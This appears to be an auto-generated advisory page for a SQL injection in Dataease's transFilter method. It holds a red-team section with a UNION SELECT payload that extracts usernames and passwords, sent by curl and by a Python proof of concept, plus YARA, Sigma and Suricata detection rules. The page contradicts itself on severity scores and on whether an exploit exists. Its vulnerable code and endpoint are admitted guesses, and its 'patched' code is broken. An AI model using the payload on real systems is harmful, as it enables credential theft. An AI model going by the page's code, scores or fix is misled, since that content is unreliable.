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CVSS: 5.1 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8724

CVE-2026-8724 SQL Injection in Dataease
📅 PUBLISHED: 2026-05-17 02:16 UTC 🔄 UPDATED: 2026-08-18 17:15 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8724 is a critical SQL injection vulnerability discovered in Dataease version 2.10.20, specifically within the SqlparserUtils.transFilter function in the SqlparserUtils.java file of the Data Dashboard component. This flaw allows remote attackers to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly released, increasing the risk of active exploitation. The vendor was contacted early but the patch status remains unknown, leaving users exposed.

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›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
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Supply Chain & Package Security

Dataease is an open-source business intelligence and data visualization tool. This vulnerability affects the core Java backend, not a package manager distribution. However, organizations using Dataease in their data pipeline should treat this as a critical supply chain risk, as a compromised Dataease instance could lead to data exfiltration or lateral movement within the network.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.7 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a patch elevate the real-world risk. An attacker can remotely execute SQL injection without authentication, potentially accessing sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the SqlparserUtils.transFilter method, which is used to parse and transform filter conditions for data dashboard queries. The function fails to properly sanitize user-supplied input before incorporating it into SQL statements. By crafting a malicious filter parameter, an attacker can break out of the intended SQL syntax and inject arbitrary SQL commands.

Root Cause: The transFilter method likely concatenates user input directly into a SQL query string without using parameterized queries or proper escaping. This allows an attacker to inject SQL keywords and operators.

Attack Vector: The attack is launched remotely via HTTP requests to the Dataease web interface, specifically targeting endpoints that process dashboard filter parameters. No authentication is required.

Impact: Successful exploitation can lead to:

  • Unauthorized reading of database contents (e.g., user credentials, business data).
  • Modification or deletion of data.
  • Potential escalation to command execution if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Dataease 2.10.20):

// SqlparserUtils.java - vulnerable transFilter method
public String transFilter(String filter) {
    // Direct concatenation without sanitization
    String query = "SELECT * FROM data WHERE " + filter;
    return query;
}

Patched Code (Hypothetical):

// SqlparserUtils.java - patched transFilter method
public String transFilter(String filter) {
    // Use parameterized query
    String query = "SELECT * FROM data WHERE ?";
    PreparedStatement pstmt = connection.prepareStatement(query);
    pstmt.setString(1, filter);
    return pstmt.toString(); // or execute
}

Note: Since no official patch is available, the above is a recommended fix. The vendor should implement parameterized queries or input validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Dataease 2.10.20 instance accessible over the network.
  • Knowledge of the target database structure (e.g., table names, column names).

Exploit Steps:

  1. Identify the vulnerable endpoint (e.g., /api/dashboard/filter).
  2. Craft a malicious filter parameter to inject SQL. Example:
    filter=1=1 UNION SELECT username, password FROM users--
    
  3. Send the request:
    curl -X POST "http://target:8080/api/dashboard/filter" -d "filter=1=1 UNION SELECT username, password FROM users--"
    
  4. Parse the response to extract data.

Proof-of-Concept (PoC):

import requests

target = "http://target:8080"
payload = "1=1 UNION SELECT username, password FROM users--"
response = requests.post(f"{target}/api/dashboard/filter", data={"filter": payload})
print(response.text)

Blue Team

Detection:

  • Monitor for unusual SQL error messages in application logs.
  • Look for HTTP requests with suspicious filter parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND).
  • Use WAF rules to block SQL injection patterns.

Hunting:

  • Search for requests to /api/dashboard/filter with parameters containing ', --, UNION, SELECT, etc.
  • Analyze database logs for unexpected queries originating from the Dataease application user.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /api/dashboard/filter with SQL-like payloads.
    • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:
    • Modified SqlparserUtils.java file (if attacker deploys a backdoor).
  • Log IOCs:
    • Application logs showing failed SQL queries with injection patterns.
    • Database logs showing unexpected SELECT, UNION, or DROP statements.

Detection Engineering

YARA Rule

rule CVE_2026_8724_Dataease_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Dataease CVE-2026-8724"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8724"
    strings:
        $s1 = "UNION" nocase
        $s2 = "SELECT" nocase
        $s3 = "OR" nocase
        $s4 = "1=1" nocase
        $s5 = "filter=" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and $s5
}

Sigma Rule

title: Dataease SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against Dataease CVE-2026-8724
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/dashboard/filter'
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
            - 'OR'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in filter parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-8724 Dataease SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/dashboard/filter"; http_uri; content:"UNION"; nocase; http_client_body; content:"SELECT"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Dataease instance from untrusted networks (e.g., place behind a VPN or firewall).
  2. Apply WAF rules to block SQL injection patterns.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Upgrade to a patched version once released by the vendor.
  • Implement input validation and parameterized queries in the transFilter method.
  • Conduct a code review of all SQL-related functions.

Workaround:

  • Disable the Data Dashboard component if not essential.
  • Restrict access to the vulnerable endpoint via authentication or IP whitelisting.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8724/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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